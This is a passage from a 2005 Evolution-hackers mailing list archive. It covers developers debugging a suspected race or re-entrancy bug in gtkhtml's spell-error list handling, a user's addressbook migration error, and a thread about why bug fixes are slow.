--=-yIYabdLsl/qO8ny4fCh9-- From notzed@ximian.com Thu Feb 24 22:24:55 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B9AF2124884; Thu, 24 Feb 2005 22:24:55 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 78A31124739 for ; Thu, 24 Feb 2005 22:24:43 -0500 (EST) Received: (qmail 966 invoked from network); 25 Feb 2005 03:24:41 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 25 Feb 2005 03:24:41 -0000 Subject: Re: [Evolution-hackers] Thread locking in gtkhtml!? From: Not Zed To: spamfrommailing@freax.org Cc: evolution-hackers@lists.ximian.com, Evolution Patches In-Reply-To: <1109279904.31955.26.camel@localhost.localdomain> References: <1109279904.31955.26.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-05LGTb+RjLv+ilCuf4ZF" Date: Fri, 25 Feb 2005 11:22:54 +0800 Message-Id: <1109301774.4852.56.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-18.5 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-05LGTb+RjLv+ilCuf4ZF Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Philip, On Thu, 2005-02-24 at 22:18 +0100, Philip Van Hoof wrote: > > Hi there, > > While trying to figure out why at some race condition the Evolution > composer was crashing (well, actually it was hanging in a loop), I > decided to go fishing in the code of gtkhtml. > > I've found that there's a doubly-linked list being passed to some > functions (but you can assume it's a global variable since it appears > to be always the same pointer being passed): spell_errors. It contains > SpellError objects. > > The original author of remove_spell_errors used a clever hack for > removing what I assume where "old" spelling errors. So spellings > errors that now have been corrected (Am I right)? > > However. That clever hack might have worked if there wasn't any > threading involved. The hack removed an element from the list while > already keeping a pointer to the next item in the list. So it's > removing the current list-element, and by prefetching keeping a useful > pointer to the next element. The next loop would work on the "next" > pointer. While it has removed the current item from the global > spell_errors list. There shouldn't be any threading involved at all with these functions. This code should all run exclusively in the main thread. That doesn't mean there isn't race-like problems in the code though. > Sounds like always correct. However. I've experienced moments when > Evolution got into an endless loop at the remove_spell_errors routine: > http://bugzilla.ximian.com/show_bug.cgi?id=72988 > > So I'm assuming that there's other functions who are manipulating the > spell_errors list. And whats worse is that they are probably doing so > in a different thread. Which in turn leads to race conditions in one > of both parallel running processes. I don't know which thread or > whatever. It's just a thought of mine. > > So I decided to redo this remove_spell_errors function in a less > clever but also less hackish way. Easily by keeping a new > doubly-linked list which I called toremove and creating a copy of the > global list spell_errors and utilising that copy during the first > loop, rather than working on a pointer to the global list. > > This E-mail and it's old spelling errors -- hehe -- are the first test > of this function. So far it hasn't crashed on me once. Which is, for > me at least, a whole new Evolution experience since a few weeks. > > Notice: If it's known which threads are working on this spell_errors > list, some mutex-locking would be necessary here. You can't just > remove an item from a list while another thread is continuing relying > on it's contents. and GList hacks aren't to way to circumvent it. Why > not just lock it and unlock when it's done? The way it's after this > patch, shouldn't have any problems even without locking mechanisms. > Since it's destroying the SpellError after removing it from that > global spell_errors list. Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack. These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock. Well i just had a look at the code,and maybe it isn't, none of the loops do anything but purely memory operations inside of them. > A possible reason why the previous method had problems might be > because of this: > > static GList* > remove_one (GList *list, GList *link) > { > (a) spell_error_destroy ((SpellError *) link->data); > -- race conditions can happen here -- > (b) return g_list_remove_link (list, link); > } > > As you can see it's first destroying and they removing the link from > the GList. It's possible my kernel is going to interrupt my process > between (a) and (b) and that the other process is going to try playing > with the pointer link->data during the time it was given to play on my > CPU. Yeah but it can't be a thread issue :) (or it better not be, if it is, there are bigger problems than this happening). > > This might also fix it. But then it's still using a hackish way for > removing an item from the GList. > > static GList* > remove_one (GList *list, GList *link) > { > GList *retval = g_list_remove_link (list, link); > spell_error_destroy ((SpellError *) link->data); > return retval; > } I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more. remove_one() should also free the link I think, since it looks like it is just leaked currently. BTW none of these fixes would be any help if it was threaded - it would definitely need a lock. The remove_spell_errors() looks like a normal iterative-with-modify loop, I can't imagine it is a problem as such, assuming nothing silly is going on with the list (e.g. if the list contains freed nodes or invalid back-pointers). Valgrind could check this - only if you changed glib not to use memchunks for the list nodes though. --=-05LGTb+RjLv+ilCuf4ZF Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Hi Philip,

On Thu, 2005-02-24 at 22:18 +0100, Philip Van Hoof wrote:

Hi there,

While trying to figure out why at some race condition the Evolution composer was crashing (well, actually it was hanging in a loop), I decided to go fishing in the code of gtkhtml.

I've found that there's a doubly-linked list being passed to some functions (but you can assume it's a global variable since it appears to be always the same pointer being passed): spell_errors. It contains SpellError objects.

The original author of remove_spell_errors used a clever hack for removing what I assume where "old" spelling errors. So spellings errors that now have been corrected (Am I right)?

However. That clever hack might have worked if there wasn't any threading involved. The hack removed an element from the list while already keeping a pointer to the next item in the list. So it's removing the current list-element, and by prefetching keeping a useful pointer to the next element. The next loop would work on the "next" pointer. While it has removed the current item from the global spell_errors list.
There shouldn't be any threading involved at all with these functions.  This code should all run exclusively in the main thread.  That doesn't mean there isn't race-like problems in the code though.
Sounds like always correct. However. I've experienced moments when Evolution got into an endless loop at the remove_spell_errors routine: http://bugzilla.ximian.com/show_bug.cgi?id=72988

So I'm assuming that there's other functions who are manipulating the spell_errors list. And whats worse is that they are probably doing so in a different thread. Which in turn leads to race conditions in one of both parallel running processes. I don't know which thread or whatever. It's just a thought of mine.

So I decided to redo this remove_spell_errors function in a less clever but also less hackish way. Easily by keeping a new doubly-linked list which I called toremove and creating a copy of the global list spell_errors and utilising that copy during the first loop, rather than working on a pointer to the global list.

This E-mail and it's old spelling errors -- hehe -- are the first test of this function. So far it hasn't crashed on me once. Which is, for me at least, a whole new Evolution experience since a few weeks.

Notice: If it's known which threads are working on this spell_errors list, some mutex-locking would be necessary here. You can't just remove an item from a list while another thread is continuing relying on it's contents. and GList hacks aren't to way to circumvent it. Why not just lock it and unlock when it's done? The way it's after this patch, shouldn't have any problems even without locking mechanisms. Since it's destroying the SpellError after removing it from that global spell_errors list.
Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack.  These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock.

Well i just had a look at the code,and maybe it isn't, none of the loops do anything but purely memory operations inside of them.
A possible reason why the previous method had problems might be because of this:

static GList*
remove_one (GList *list, GList *link)
{
(a) spell_error_destroy ((SpellError *) link->data);
        -- race conditions can happen here --
(b) return g_list_remove_link (list, link);
}

As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU.
Yeah but it can't be a thread issue :)  (or it better not be, if it is, there are bigger problems than this happening).

This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}
I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more.

remove_one() should also free the link I think, since it looks like it is just leaked currently.

BTW none of these fixes would be any help if it was threaded - it would definitely need a lock.

The remove_spell_errors() looks like a normal iterative-with-modify loop, I can't imagine it is a problem as such, assuming nothing silly is going on with the list (e.g. if the list contains freed nodes or invalid back-pointers).  Valgrind could check this - only if you changed glib not to use memchunks for the list nodes though.

--=-05LGTb+RjLv+ilCuf4ZF-- From spamfrommailing@freax.org Fri Feb 25 03:46:07 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DEC2B124F96; Fri, 25 Feb 2005 03:46:07 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 9552B124750; Fri, 25 Feb 2005 03:45:55 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 9669B1394AB6; Fri, 25 Feb 2005 09:45:51 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 12204-05; Fri, 25 Feb 2005 09:45:44 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 0F5D71394227; Fri, 25 Feb 2005 09:45:44 +0100 (CET) Subject: Re: [evolution-patches] Re: [Evolution-hackers] Thread locking in gtkhtml!? From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: Not Zed Cc: evolution-hackers@lists.ximian.com, Evolution Patches In-Reply-To: <1109301774.4852.56.camel@lostzed.mmc.com.au> References: <1109279904.31955.26.camel@localhost.localdomain> <1109301774.4852.56.camel@lostzed.mmc.com.au> Content-Type: multipart/alternative; boundary="=-wvuLs61LncWy69LFYbWS" Date: Fri, 25 Feb 2005 09:45:43 +0100 Message-Id: <1109321143.9733.32.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-27.4 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, SIGNATURE_LONG_SPARSE autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-wvuLs61LncWy69LFYbWS Content-Type: text/plain Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote: > There shouldn't be any threading involved at all with these functions. > This code should all run exclusively in the main thread. That doesn't > mean there isn't race-like problems in the code though. Is a remote ORBit-2 function working on the spell_errors list? Or a function that has been called by ORBit-2? You can create a POA that will, in the background, launch a new thread to handle such a remote procedure call. In which case the developer might not have noticed it, but then it is going to use multiple threads and it will run in parallel. If I remember it correctly, it happens like this when you initialize the POA with ORBIT_THREAD_HINT_PER_REQUEST. > Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something > is calling a corba method or a glib function, which then goes back > into the mainloop and ends up invoking a callback/signal, while it is > running a loop on the same data somewhere up the stack. These > problems are often more tricky to track down and fix than real race > conditions ... and often harder to fix since you can't just use a > simple lock. Okay. My patch might have made it a little but more stable then. But I agree that if thats the case, this patch isn't a real fix for the problem. I think it's more stable for me now, because there's a smaller timeframe in which problems can happen. The unpatched version can introduce problems during the time it's looping the spell_errors. Mine will during that time just collect those items that are to be removed. It can only create problems while it's actually removing the collected items. Which takes less time. Overall will the remove_spell_errors function take longer, but there's a shorter timetime in which it can create problems. It's not removing the problem, it's just making it happen less frequently. Which isn't going to help debugging this case :-), of course. > Well i just had a look at the code,and maybe it isn't, none of the > loops do anything but purely memory operations inside of them. > > > A possible reason why the previous method had problems might be > > because of this: > > static GList* > > remove_one (GList *list, GList *link) > > { > > (a) spell_error_destroy ((SpellError *) link->data); > > -- race conditions can happen here -- > > (b) return g_list_remove_link (list, link); > > } > > > > As you can see it's first destroying and they removing the link from > > the GList. It's possible my kernel is going to interrupt my process > > between (a) and (b) and that the other process is going to try > > playing with the pointer link->data during the time it was given to > > play on my CPU. > Yeah but it can't be a thread issue :) (or it better not be, if it > is, there are bigger problems than this happening). > > > > This might also fix it. But then it's still using a hackish way for > > removing an item from the GList. > > > > static GList* > > remove_one (GList *list, GList *link) > > { > > GList *retval = g_list_remove_link (list, link); > > spell_error_destroy ((SpellError *) link->data); > > return retval; > > } > > I doubt it would make any difference, spell_error_destroy() is just a > g_free() and nothing more. Which leaves the pointer at link->data undefined, while it's possible that another thread is still working on that pointer at the same time (of course only in case something else is running in parallel). If that other routine, being run in parallel, is doing something like this: while (spell_errors) { SPellError *e = spell_errors->data; /* Do stuff with e */ spell_errors = g_list_next (spell_errors); } It can't be sure whether or not e has been g_free't by the other thread during one such loop or not. Each time it would touch e, it would have to check for it (and then still, an "if" can also get scheduled). Therefor, just like you said, it's necessary to introduce locking and lock the other thread each atomic block of operations it's going to perform on items in the spell_errors list. > remove_one() should also free the link I think, since it looks like it > is just leaked currently. Indeed. I've noticed it too. But rather than fixing remove_one, I decided to rewrite it's calling-function ;-). There's only one function calling remove_one, thats the remove_spell_errors. > BTW none of these fixes would be any help if it was threaded - it > would definitely need a lock. Indeed. > The remove_spell_errors() looks like a normal iterative-with-modify > loop, I can't imagine it is a problem as such, assuming nothing silly > is going on with the list (e.g. if the list contains freed nodes or > invalid back-pointers). Valgrind could check this - only if you > changed glib not to use memchunks for the list nodes though. -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-wvuLs61LncWy69LFYbWS Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote:
There shouldn't be any threading involved at all with these functions.  This code should all run exclusively in the main thread.  That doesn't mean there isn't race-like problems in the code though.
Is a remote ORBit-2 function working on the spell_errors list? Or a function that has been called by ORBit-2? You can create a POA that will, in the background, launch a new thread to handle such a remote procedure call. In which case the developer might not have noticed it, but then it is going to use multiple threads and it will run in parallel.

If I remember it correctly, it happens like this when you initialize the POA with ORBIT_THREAD_HINT_PER_REQUEST.

Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack.  These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock.

Okay. My patch might have made it a little but more stable then. But I agree that if thats the case, this patch isn't a real fix for the problem. I think it's more stable for me now, because there's a smaller timeframe in which problems can happen. The unpatched version can introduce problems during the time it's looping the spell_errors. Mine will during that time just collect those items that are to be removed. It can only create problems while it's actually removing the collected items. Which takes less time. Overall will the remove_spell_errors function take longer, but there's a shorter timetime in which it can create problems.

It's not removing the problem, it's just making it happen less frequently. Which isn't going to help debugging this case :-), of course.

Well i just had a look at the code,and maybe it isn't, none of the loops do anything but purely memory operations inside of them.
A possible reason why the previous method had problems might be because of this:

static GList*
remove_one (GList *list, GList *link)
{
(a) spell_error_destroy ((SpellError *) link->data);
        -- race conditions can happen here --
(b) return g_list_remove_link (list, link);
}

As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU.

Yeah but it can't be a thread issue :)  (or it better not be, if it is, there are bigger problems than this happening).


This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}
I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more.

Which leaves the pointer at link->data undefined, while it's possible that another thread is still working on that pointer at the same time (of course only in case something else is running in parallel).

If that other routine, being run in parallel, is doing something like this:

while (spell_errors)
{
    SPellError *e = spell_errors->data;

    /* Do stuff with e */

    spell_errors = g_list_next (spell_errors);
}

It can't be sure whether or not e has been g_free't by the other thread during one such loop or not. Each time it would touch e, it would have to check for it (and then still, an "if" can also get scheduled). Therefor, just like you said, it's necessary to introduce locking and lock the other thread each atomic block of operations it's going to perform on items in the spell_errors list.

remove_one() should also free the link I think, since it looks like it is just leaked currently.

Indeed. I've noticed it too. But rather than fixing remove_one, I decided to rewrite it's calling-function ;-). There's only one function calling remove_one, thats the remove_spell_errors.

BTW none of these fixes would be any help if it was threaded - it would definitely need a lock.

Indeed.

The remove_spell_errors() looks like a normal iterative-with-modify loop, I can't imagine it is a problem as such, assuming nothing silly is going on with the list (e.g. if the list contains freed nodes or invalid back-pointers).  Valgrind could check this - only if you changed glib not to use memchunks for the list nodes though.



-- 
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-wvuLs61LncWy69LFYbWS-- From archana_a5@rediffmail.com Fri Feb 25 06:03:02 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ABAB212493E; Fri, 25 Feb 2005 06:03:02 -0500 (EST) Received: from rediffmail.com (unknown [203.199.83.147]) by lists.ximian.com (Postfix) with SMTP id 6CB5112493E for ; Fri, 25 Feb 2005 06:02:49 -0500 (EST) Received: (qmail 2659 invoked by uid 510); 25 Feb 2005 11:04:21 -0000 Date: 25 Feb 2005 11:04:21 -0000 Message-ID: <20050225110421.2658.qmail@webmail25.rediffmail.com> Received: from unknown (59.92.137.246) by rediffmail.com via HTTP; 25 feb 2005 11:04:21 -0000 MIME-Version: 1.0 From: "archana a" Reply-To: "archana a" To: evolution-hackers@lists.ximian.com Cc: kharish@novell.com Content-type: multipart/alternative; boundary="Next_1109329461---0-203.199.83.147-2652" X-Spam-Status: Yes, hits=10.0 required=5.0 tests=HTML_20_30,HTML_IMAGE_ONLY_10,MSG_ID_ADDED_BY_MTA_2, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REPLY_TO_HAS_UNDERLINE_NUMS version=2.53 X-Spam-Level: ********** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Migration errors Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: This is a multipart mime message --Next_1109329461---0-203.199.83.147-2652 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0AHello everyone. =0A=0A I built evolution 2.1 & could execute it twice w= ithout much hassles.But now I am getting migration error as follows:=0A=0A"= =0A addressbook_migrate (1.4.0)=0Atrying to migrate from /home/archana/e= volution/addressbook-sources.xml=0Afound 1 contact servers to migrate=0Atry= ing to migrate completion folders "=0A=0A=0ANeither moving ".evolution" = to other destination nor recompiling it afresh helped.=0A=0APlease anyone h= elp me.=0A --Archana A(archana_a5@rediffmail.com)=0A=0A --Next_1109329461---0-203.199.83.147-2652 Content-type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline

=0A
=0AHello everyone. 
=0A
=0A I built evolution 2.1 &am= p; could execute it twice without much hassles.But now I am getting migrati= on error as follows:
=0A
=0A"
=0A    addressbook_mi= grate (1.4.0)
=0Atrying to migrate from /home/archana/evolution/addressb= ook-sources.xml
=0Afound 1 contact servers to migrate
=0Atrying to mi= grate completion folders    "
=0A
=0A
=0ANeither mo= ving ".evolution" to other destination nor recompiling it afresh = helped.
=0A
=0APlease anyone help me.
=0A    --Archana = A(archana_a5@rediffmail.com)=0A

=0A=0A=0A

=0A=0A --Next_1109329461---0-203.199.83.147-2652-- From snallagatla@novell.com Fri Feb 25 07:28:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 27C9F12402C; Fri, 25 Feb 2005 07:28:35 -0500 (EST) Received: from linux.site (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 8629F12493E for ; Fri, 25 Feb 2005 07:28:22 -0500 (EST) Received: by linux.site (Postfix, from userid 0) id 09207647FB; Fri, 25 Feb 2005 17:51:08 +0530 (IST) Subject: Re: [Evolution-hackers] Migration errors From: Sivaiah Nallagatla To: archana a Cc: evolution-hackers@lists.ximian.com, kharish@novell.com In-Reply-To: <20050225110421.2658.qmail@webmail25.rediffmail.com> References: <20050225110421.2658.qmail@webmail25.rediffmail.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Fri, 25 Feb 2005 17:51:08 +0530 Message-Id: <1109334068.22917.4.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-18.8 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: This error does not say much , so we can notreally help. Also these kind of quires are better done on evolution-users mailnbg list not hackers. Siva On Fri, 2005-02-25 at 11:04 +0000, archana a wrote: > >Hello everyone. > >I built evolution 2.1 & could execute it twice without much hassles.But >now I am getting migration error as follows: > >" > addressbook_migrate (1.4.0) >trying to migrate from /home/archana/evolution/addressbook-sources.xml >found 1 contact servers to migrate >trying to migrate completion folders " > > >Neither moving ".evolution" to other destination nor recompiling it >afresh helped. > >Please anyone help me. > --Archana A(archana_a5@rediffmail.com) > > > > From carlos.gonzalez@shaw.ca Sat Feb 26 04:07:27 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7F99C1248F8; Sat, 26 Feb 2005 04:07:27 -0500 (EST) Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id AFB49124583 for ; Sat, 26 Feb 2005 04:07:15 -0500 (EST) Received: from pd4mr7so.prod.shaw.ca (pd4mr7so-qfe3.prod.shaw.ca [10.0.141.84]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICI00FACHC2F960@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 02:07:14 -0700 (MST) Received: from pn2ml5so.prod.shaw.ca ([10.0.121.149]) by pd4mr7so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICI00H61HC2ZGM0@pd4mr7so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 02:07:14 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICI00L2PHC2LG@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 02:07:14 -0700 (MST) Date: Sat, 26 Feb 2005 02:07:15 -0700 From: Carlos Gonzalez To: Evolution Hackers-List Message-id: <1109408835.15760.13.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I was reading through a bunch of the bug and feature requests entered into the Ximian bug database and was struck by how so many of them have not had any resolution for years while being requested over and over again. Is this because there are not enough people volunteering to fix bugs and/or add features? Is this because of a philosophical lack of willingness to include some of the feature requests (many of whom seem quite reasonable)? A little of both or maybe something else? I am just curious given that I am looking at starting to make some changes in Evolution for my own use and that of my business clients and want to work as much as possible with Evolution developers as opposed to independent of them. But I don't want to even bother helping out if there is some sort of philosophical mind set against adding new features or some such. In the end I may just have to incorporate the features that I and perhaps some of my clients might want in my own little "fork" rather than waiting for something to make it into the main tree, so this issue may be mute but I am mainly just curious as to why it seems to take so long to act on a bug or a feature request. I suppose I should also take into account that I was only viewing those things that were not resolved and that the context of seeing this against the great numbers that may have been resolved already is missing. Any insight on this would be appreciated. Thanks. Carlos From mccannwj@pha.jhu.edu Sat Feb 26 10:17:43 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 21120124026; Sat, 26 Feb 2005 10:17:43 -0500 (EST) Received: from eta.pha.jhu.edu (eta.pha.jhu.edu [128.220.143.20]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 72FD01242BE for ; Sat, 26 Feb 2005 10:17:30 -0500 (EST) Received: from adcam.pha.jhu.edu (adcam.pha.jhu.edu [128.220.146.76]) by eta.pha.jhu.edu (8.12.8/8.12.4) with ESMTP id j1QFHSLw023453 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 26 Feb 2005 10:17:28 -0500 (EST) Received: from [192.168.2.57] (pcp08707090pcs.parkvl01.md.comcast.net [69.137.61.88]) (authenticated bits=0) by adcam.pha.jhu.edu (8.12.9/8.12.9) with ESMTP id j1QFHNJf002964 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 26 Feb 2005 10:17:27 -0500 (EST) Message-ID: <422092FB.1050307@pha.jhu.edu> Date: Sat, 26 Feb 2005 10:17:15 -0500 From: William Jon McCann User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Carlos Gonzalez Cc: Evolution Hackers-List Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? References: <1109408835.15760.13.camel@localhost.localdomain> In-Reply-To: <1109408835.15760.13.camel@localhost.localdomain> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello, You are attempting to draw conclusions from the number of open bugs without considering all bugs. Please see: http://en.wikipedia.org/wiki/Selection_bias If you have a sincere desire to help, produce good quality code to fix a problem. We can never have enough people volunteering to be part of the solution. Jon Carlos Gonzalez wrote: > I was reading through a bunch of the bug and feature requests entered > into the Ximian bug database and was struck by how so many of them have > not had any resolution for years while being requested over and over > again. > > Is this because there are not enough people volunteering to fix bugs > and/or add features? > > Is this because of a philosophical lack of willingness to include some > of the feature requests (many of whom seem quite reasonable)? > > A little of both or maybe something else? > > I am just curious given that I am looking at starting to make some > changes in Evolution for my own use and that of my business clients and > want to work as much as possible with Evolution developers as opposed to > independent of them. But I don't want to even bother helping out if > there is some sort of philosophical mind set against adding new features > or some such. In the end I may just have to incorporate the features > that I and perhaps some of my clients might want in my own little "fork" > rather than waiting for something to make it into the main tree, so this > issue may be mute but I am mainly just curious as to why it seems to > take so long to act on a bug or a feature request. > > I suppose I should also take into account that I was only viewing those > things that were not resolved and that the context of seeing this > against the great numbers that may have been resolved already is > missing. > > Any insight on this would be appreciated. > > Thanks. > > Carlos From carlos.gonzalez@shaw.ca Sat Feb 26 16:55:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 17B83124104; Sat, 26 Feb 2005 16:55:35 -0500 (EST) Received: from 